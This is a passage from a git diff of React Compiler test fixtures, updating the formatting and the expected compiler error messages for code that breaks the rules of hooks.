-    |     ^^^^^^ InvalidReact: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning) (6:6)
+    |     ^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
   7 |   }
   8 | }
   9 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-conditionally-call-local-named-like-hook.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-conditionally-call-local-named-like-hook.js
index 2b3137855718..baa34decbd45 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-conditionally-call-local-named-like-hook.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-conditionally-call-local-named-like-hook.js
@@ -1,4 +1,4 @@
-import { makeObject_Primitives } from "shared-runtime";
+import {makeObject_Primitives} from 'shared-runtime';
 
 function Component(props) {
   const useFoo = makeObject_Primitives();
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-conditionally-call-prop-named-like-hook.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-conditionally-call-prop-named-like-hook.expect.md
index f3f7d6685652..1c547061d6cb 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-conditionally-call-prop-named-like-hook.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-conditionally-call-prop-named-like-hook.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-function Component({ cond, useFoo }) {
+function Component({cond, useFoo}) {
   if (cond) {
     useFoo();
   }
@@ -14,10 +14,15 @@ function Component({ cond, useFoo }) {
 ## Error
 
 ```
-  1 | function Component({ cond, useFoo }) {
+Found 1 error:
+
+Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+error.invalid-conditionally-call-prop-named-like-hook.ts:3:4
+  1 | function Component({cond, useFoo}) {
   2 |   if (cond) {
 > 3 |     useFoo();
-    |     ^^^^^^ InvalidReact: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning) (3:3)
+    |     ^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
   4 |   }
   5 | }
   6 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-conditionally-call-prop-named-like-hook.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-conditionally-call-prop-named-like-hook.js
index e0a250cac631..161c3728285d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-conditionally-call-prop-named-like-hook.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-conditionally-call-prop-named-like-hook.js
@@ -1,4 +1,4 @@
-function Component({ cond, useFoo }) {
+function Component({cond, useFoo}) {
   if (cond) {
     useFoo();
   }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-conditionally-methodcall-hooklike-property-of-local.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-conditionally-methodcall-hooklike-property-of-local.expect.md
index 3c2020ea4a11..abc3600121b6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-conditionally-methodcall-hooklike-property-of-local.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-conditionally-methodcall-hooklike-property-of-local.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { makeObject_Primitives } from "shared-runtime";
+import {makeObject_Primitives} from 'shared-runtime';
 
 function Component(props) {
   const local = makeObject_Primitives();
@@ -17,10 +17,15 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+error.invalid-conditionally-methodcall-hooklike-property-of-local.ts:6:4
   4 |   const local = makeObject_Primitives();
   5 |   if (props.cond) {
 > 6 |     local.useFoo();
-    |     ^^^^^^^^^^^^ InvalidReact: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning) (6:6)
+    |     ^^^^^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
   7 |   }
   8 | }
   9 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-conditionally-methodcall-hooklike-property-of-local.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-conditionally-methodcall-hooklike-property-of-local.js
index d6aad25c18b1..f03621dd632d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-conditionally-methodcall-hooklike-property-of-local.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-conditionally-methodcall-hooklike-property-of-local.js
@@ -1,4 +1,4 @@
-import { makeObject_Primitives } from "shared-runtime";
+import {makeObject_Primitives} from 'shared-runtime';
 
 function Component(props) {
   const local = makeObject_Primitives();
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-condtionally-call-hooklike-property-of-local.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-condtionally-call-hooklike-property-of-local.expect.md
index 4e08aa931e56..9ccfcf8e01d6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-condtionally-call-hooklike-property-of-local.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-condtionally-call-hooklike-property-of-local.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { makeObject_Primitives } from "shared-runtime";
+import {makeObject_Primitives} from 'shared-runtime';
 
 function Component(props) {
   const local = makeObject_Primitives();
@@ -18,10 +18,15 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+error.invalid-condtionally-call-hooklike-property-of-local.ts:7:4
    5 |   if (props.cond) {
    6 |     const foo = local.useFoo;
 >  7 |     foo();
-     |     ^^^ InvalidReact: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning) (7:7)
+     |     ^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
    8 |   }
    9 | }
   10 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-condtionally-call-hooklike-property-of-local.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-condtionally-call-hooklike-property-of-local.js
index e4671848d8b9..19355b7ca86c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-condtionally-call-hooklike-property-of-local.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-condtionally-call-hooklike-property-of-local.js
@@ -1,4 +1,4 @@
-import { makeObject_Primitives } from "shared-runtime";
+import {makeObject_Primitives} from 'shared-runtime';
 
 function Component(props) {
   const local = makeObject_Primitives();
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-dynamic-hook-via-hooklike-local.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-dynamic-hook-via-hooklike-local.expect.md
index 0e224f27fe61..3f4df5225132 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-dynamic-hook-via-hooklike-local.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-dynamic-hook-via-hooklike-local.expect.md
@@ -14,10 +14,15 @@ function Component() {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Hooks must be the same function on every render, but this value may change over time to a different function. See https://react.dev/reference/rules/react-calls-components-and-hooks#dont-dynamically-use-hooks
+
+error.invalid-dynamic-hook-via-hooklike-local.ts:4:2
   2 |   const someFunction = useContext(FooContext);
   3 |   const useOhItsNamedLikeAHookNow = someFunction;
 > 4 |   useOhItsNamedLikeAHookNow();
-    |   ^^^^^^^^^^^^^^^^^^^^^^^^^ InvalidReact: Hooks must be the same function on every render, but this value may change over time to a different function. See https://react.dev/reference/rules/react-calls-components-and-hooks#dont-dynamically-use-hooks (4:4)
+    |   ^^^^^^^^^^^^^^^^^^^^^^^^^ Hooks must be the same function on every render, but this value may change over time to a different function. See https://react.dev/reference/rules/react-calls-components-and-hooks#dont-dynamically-use-hooks
   5 | }
   6 |
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-after-early-return.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-after-early-return.expect.md
index ff601bdec537..bc8ed3be9a30 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-after-early-return.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-after-early-return.expect.md
@@ -15,10 +15,15 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+error.invalid-hook-after-early-return.ts:5:9
   3 |     return null;
   4 |   }
 > 5 |   return useHook();
-    |          ^^^^^^^ InvalidReact: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning) (5:5)
+    |          ^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
   6 | }
   7 |
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-as-conditional-test.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-as-conditional-test.expect.md
index 60175dc9f04b..f1a05f56e287 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-as-conditional-test.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-as-conditional-test.expect.md
@@ -13,9 +13,14 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values
+
+error.invalid-hook-as-conditional-test.ts:2:26
   1 | function Component(props) {
 > 2 |   const x = props.cond ? (useFoo ? 1 : 2) : 3;
-    |                           ^^^^^^ InvalidReact: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values (2:2)
+    |                           ^^^^^^ Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values
   3 |   return x;
   4 | }
   5 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-as-prop.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-as-prop.expect.md
index 14f483a92447..0a19c2bb1841 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-as-prop.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-as-prop.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-function Component({ useFoo }) {
+function Component({useFoo}) {
   useFoo();
 }
 
@@ -12,9 +12,14 @@ function Component({ useFoo }) {
 ## Error
 
 ```
-  1 | function Component({ useFoo }) {
+Found 1 error:
+
+Error: Hooks must be the same function on every render, but this value may change over time to a different function. See https://react.dev/reference/rules/react-calls-components-and-hooks#dont-dynamically-use-hooks
+
+error.invalid-hook-as-prop.ts:2:2
+  1 | function Component({useFoo}) {
 > 2 |   useFoo();
-    |   ^^^^^^ InvalidReact: Hooks must be the same function on every render, but this value may change over time to a different function. See https://react.dev/reference/rules/react-calls-components-and-hooks#dont-dynamically-use-hooks (2:2)
+    |   ^^^^^^ Hooks must be the same function on every render, but this value may change over time to a different function. See https://react.dev/reference/rules/react-calls-components-and-hooks#dont-dynamically-use-hooks
   3 | }
   4 |
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-as-prop.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-as-prop.js
index 40dfcf5b8853..829f84ad1305 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-as-prop.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-as-prop.js
@@ -1,3 +1,3 @@
-function Component({ useFoo }) {
+function Component({useFoo}) {
   useFoo();
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-for.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-for.expect.md
index acafdb5f4809..cd05dccfe6dd 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-for.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-for.expect.md
@@ -16,15 +16,24 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Invariant: Unexpected empty block with `goto` terminal
+
+Block bb5 is empty.
+
+error.invalid-hook-for.ts:3:2
+  1 | function Component(props) {
   2 |   let i = 0;
-  3 |   for (let x = 0; useHook(x) < 10; useHook(i), x++) {
+> 3 |   for (let x = 0; useHook(x) < 10; useHook(i), x++) {
+    |   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 > 4 |     i += useHook(x);
-    |          ^^^^^^^ InvalidReact: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning) (4:4)
-
-InvalidReact: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning) (3:3)
-  5 |   }
+    | ^^^^^^^^^^^^^^^^^^^^
+> 5 |   }
+    | ^^^^ Unexpected empty block with `goto` terminal
   6 |   return i;
   7 | }
+  8 |
 ```
           
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-from-hook-return.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-from-hook-return.expect.md
index 8c000106b31d..50a61407b0d4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-from-hook-return.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-from-hook-return.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-function useFoo({ data }) {
+function useFoo({data}) {
   const useMedia = useVideoPlayer();
   const foo = useMedia();
   return foo;
@@ -14,10 +14,15 @@ function useFoo({ data }) {
 ## Error
 
 ```
-  1 | function useFoo({ data }) {
+Found 1 error:
+
+Error: Hooks must be the same function on every render, but this value may change over time to a different function. See https://react.dev/reference/rules/react-calls-components-and-hooks#dont-dynamically-use-hooks
+
+error.invalid-hook-from-hook-return.ts:3:14
+  1 | function useFoo({data}) {
   2 |   const useMedia = useVideoPlayer();
 > 3 |   const foo = useMedia();
-    |               ^^^^^^^^ InvalidReact: Hooks must be the same function on every render, but this value may change over time to a different function. See https://react.dev/reference/rules/react-calls-components-and-hooks#dont-dynamically-use-hooks (3:3)
+    |               ^^^^^^^^ Hooks must be the same function on every render, but this value may change over time to a different function. See https://react.dev/reference/rules/react-calls-components-and-hooks#dont-dynamically-use-hooks
   4 |   return foo;
   5 | }
   6 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-from-hook-return.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-from-hook-return.js
index c2bc4b6fcebb..de5718e341a8 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-from-hook-return.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-from-hook-return.js
@@ -1,4 +1,4 @@
-function useFoo({ data }) {
+function useFoo({data}) {
   const useMedia = useVideoPlayer();
   const foo = useMedia();
   return foo;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-from-property-of-other-hook.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-from-property-of-other-hook.expect.md
index 21ff7d9b0e2e..3d061dce07c4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-from-property-of-other-hook.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-from-property-of-other-hook.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-function useFoo({ data }) {
+function useFoo({data}) {
   const player = useVideoPlayer();
   const foo = player.useMedia();
   return foo;
@@ -14,10 +14,15 @@ function useFoo({ data }) {
 ## Error
 
 ```
-  1 | function useFoo({ data }) {
+Found 1 error:
+
+Error: Hooks must be the same function on every render, but this value may change over time to a different function. See https://react.dev/reference/rules/react-calls-components-and-hooks#dont-dynamically-use-hooks
+
+error.invalid-hook-from-property-of-other-hook.ts:3:14
+  1 | function useFoo({data}) {
   2 |   const player = useVideoPlayer();
 > 3 |   const foo = player.useMedia();
-    |               ^^^^^^^^^^^^^^^ InvalidReact: Hooks must be the same function on every render, but this value may change over time to a different function. See https://react.dev/reference/rules/react-calls-components-and-hooks#dont-dynamically-use-hooks (3:3)
+    |               ^^^^^^^^^^^^^^^ Hooks must be the same function on every render, but this value may change over time to a different function. See https://react.dev/reference/rules/react-calls-components-and-hooks#dont-dynamically-use-hooks
   4 |   return foo;
   5 | }
   6 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-from-property-of-other-hook.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-from-property-of-other-hook.js
index 08293badde13..41f4ac8ae5c2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-from-property-of-other-hook.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-from-property-of-other-hook.js
@@ -1,4 +1,4 @@
-function useFoo({ data }) {
+function useFoo({data}) {
   const player = useVideoPlayer();
   const foo = player.useMedia();
   return foo;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-if-alternate.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-if-alternate.expect.md
index b6eb53c93d56..a5cd56f57049 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-if-alternate.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-if-alternate.expect.md
@@ -17,10 +17,15 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+error.invalid-hook-if-alternate.ts:5:8
   3 |   if (props.cond) {
   4 |   } else {
 > 5 |     x = useHook();
-    |         ^^^^^^^ InvalidReact: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning) (5:5)
+    |         ^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
   6 |   }
   7 |   return x;
   8 | }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-if-consequent.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-if-consequent.expect.md
index c6a1f8d62eee..000fd452a5bf 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-if-consequent.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-if-consequent.expect.md
@@ -16,10 +16,15 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+error.invalid-hook-if-consequent.ts:4:8
   2 |   let x = null;
   3 |   if (props.cond) {
 > 4 |     x = useHook();
-    |         ^^^^^^^ InvalidReact: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning) (4:4)
+    |         ^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
   5 |   }
   6 |   return x;
   7 | }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-in-nested-function-expression-object-expression.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-in-nested-function-expression-object-expression.expect.md
index efd736980997..117f5c75d857 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-in-nested-function-expression-object-expression.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-in-nested-function-expression-object-expression.expect.md
@@ -2,9 +2,9 @@
 ## Input
 
 ```javascript
-// @compilationMode(infer)
+// @compilationMode:"infer"
 function Component() {
-  "use memo";
+  'use memo';
   const f = () => {
     const x = {
       outer() {
@@ -28,10 +28,17 @@ function Component() {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+Cannot call hook within a function expression.
+
+error.invalid-hook-in-nested-function-expression-object-expression.ts:10:21
    8 |           const y = {
    9 |             inner() {
 > 10 |               return useFoo();
-     |                      ^^^^^^ InvalidReact: Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning). Cannot call Custom within a function component (10:10)
+     |                      ^^^^^^ Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
   11 |             },
   12 |           };
   13 |           return y;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-in-nested-function-expression-object-expression.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-in-nested-function-expression-object-expression.js
index 981cfdade0ef..bfe82523a3c7 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-in-nested-function-expression-object-expression.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-in-nested-function-expression-object-expression.js
@@ -1,6 +1,6 @@
-// @compilationMode(infer)
+// @compilationMode:"infer"
 function Component() {
-  "use memo";
+  'use memo';
   const f = () => {
     const x = {
       outer() {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-in-nested-object-method.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-in-nested-object-method.expect.md
index bac804c00dfa..8a2addbd307b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-in-nested-object-method.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-in-nested-object-method.expect.md
@@ -2,9 +2,9 @@
 ## Input
 
 ```javascript
-// @compilationMode(infer)
+// @compilationMode:"infer"
 function Component() {
-  "use memo";
+  'use memo';
   const x = {
     outer() {
       const y = {
@@ -24,10 +24,17 @@ function Component() {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+Cannot call hook within a function expression.
+
+error.invalid-hook-in-nested-object-method.ts:8:17
    6 |       const y = {
    7 |         inner() {
 >  8 |           return useFoo();
-     |                  ^^^^^^ InvalidReact: Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning). Cannot call Custom within a function component (8:8)
+     |                  ^^^^^^ Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
    9 |         },
   10 |       };
   11 |       return y;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-in-nested-object-method.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-in-nested-object-method.js
index 4d0a181fb4ca..779cad41f9eb 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-in-nested-object-method.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-in-nested-object-method.js
@@ -1,6 +1,6 @@
-// @compilationMode(infer)
+// @compilationMode:"infer"
 function Component() {
-  "use memo";
+  'use memo';
   const x = {
     outer() {
       const y = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-optional-methodcall.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-optional-methodcall.expect.md
index 1ab0f51f5ad8..8a32aebf40a5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-optional-methodcall.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-optional-methodcall.expect.md
@@ -3,7 +3,7 @@
 
 ```javascript
 function Component() {
-  const { result } = Module.useConditionalHook?.() ?? {};
+  const {result} = Module.useConditionalHook?.() ?? {};
   return result;
 }
 
@@ -13,9 +13,14 @@ function Component() {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+error.invalid-hook-optional-methodcall.ts:2:19
   1 | function Component() {
-> 2 |   const { result } = Module.useConditionalHook?.() ?? {};
